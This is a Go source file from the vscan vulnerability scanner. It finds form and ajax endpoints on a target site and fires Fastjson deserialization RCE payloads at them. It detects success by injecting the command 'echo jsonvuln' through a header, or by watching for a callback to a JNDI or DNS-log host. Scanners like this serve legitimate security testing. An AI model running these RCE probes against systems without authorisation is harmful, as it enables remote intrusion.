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check.go
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check.go
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package fastjson
import (
"fmt"
"github.com/veo/vscan/pkg"
"github.com/veo/vscan/pkg/jndi"
"net/url"
"regexp"
"strings"
)
func Check(u string, finalURL string) string {
domainx := getinputurl(finalURL)
for _, jsonurl := range domainx {
header := make(map[string]string)
header["Content-Type"] = "application/json"
randomstr := pkg.RandomStr()
if (pkg.CeyeApi != "" && pkg.CeyeDomain != "") || jndi.JndiAddress != "" {
for _, payload := range fastjsonJndiPayloads {
var uri string
if jndi.JndiAddress != "" {
uri = jndi.JndiAddress + "/" + randomstr + "/"
} else if pkg.CeyeApi != "" && pkg.CeyeDomain != "" {
uri = randomstr + "." + pkg.CeyeDomain
}
_, _ = pkg.HttpRequset(jsonurl, "POST", strings.Replace(payload, "dnslog-url", uri, -1), false, header)
}
if jndi.JndiAddress != "" {
if jndi.Jndilogchek(randomstr) {
pkg.GoPocLog(fmt.Sprintf("Found vuln FastJson JNDI RCE |%s\n", u))
return "JNDI RCE"
}
}
if pkg.CeyeApi != "" && pkg.CeyeDomain != "" {
if pkg.Dnslogchek(randomstr) {
pkg.GoPocLog(fmt.Sprintf("Found vuln FastJson JNDI RCE |%s\n", u))
return "JNDI RCE"
}
}
} else {
header["cmd"] = "echo jsonvuln"
for _, payload := range fastjsonEchoPayloads {
if req, err := pkg.HttpRequset(jsonurl, "POST", payload, false, header); err == nil {
if strings.Contains(req.Body, "jsonvuln") {
pkg.GoPocLog(fmt.Sprintf("Found vuln FastJson ECHO RCE |%s\n", u))
return "ECHO RCE"
}
}
}
}
}
return ""
}
func getinputurl(domainurl string) (domainurlx []string) {
req, err := pkg.HttpRequset(domainurl, "GET", "", true, nil)
if err != nil {
return nil
}
var loginurl []string
hrefreg := regexp.MustCompile(`location.href='(.*?)'`)
hreflist := hrefreg.FindStringSubmatch(req.Body)
if hreflist != nil {
req, err = pkg.HttpRequset(domainurl+"/"+hreflist[len(hreflist)-1:][0], "GET", "", true, nil)
if err != nil {
return nil
}
}
domainreg := regexp.MustCompile(`<form.*?action="(.*?)"`)
domainlist := domainreg.FindStringSubmatch(req.Body)
if domainlist != nil {
domainx := domainlist[len(domainlist)-1:][0]
if strings.Contains(domainx, "http") {
loginurl = append(loginurl, domainx)
} else if domainx == "" {
loginurl = loginurl
} else if domainx[0:1] == "/" {
u, _ := url.Parse(domainurl)
loginurl = append(loginurl, u.Scheme+"://"+u.Host+domainx)
} else {
loginurl = append(loginurl, domainurl+"/"+domainx)
}
}
domainreg2 := regexp.MustCompile(`ajax[\s\S]*?url.*?['|"](.*?)['|"]`)
domainlist2 := domainreg2.FindAllStringSubmatch(req.Body, -1)
if domainlist2 != nil {
for _, a := range domainlist2 {
domainx := a[1]
if strings.Contains(domainx, "http") {
loginurl = append(loginurl, domainx)
} else if domainx == "" {
loginurl = append(loginurl, domainurl)
} else if domainx[0:1] == "/" {
u, _ := url.Parse(domainurl)
loginurl = append(loginurl, u.Scheme+"://"+u.Host+domainx)
} else {
loginurl = append(loginurl, domainurl+"/"+domainx)
}
}
}
return loginurl
}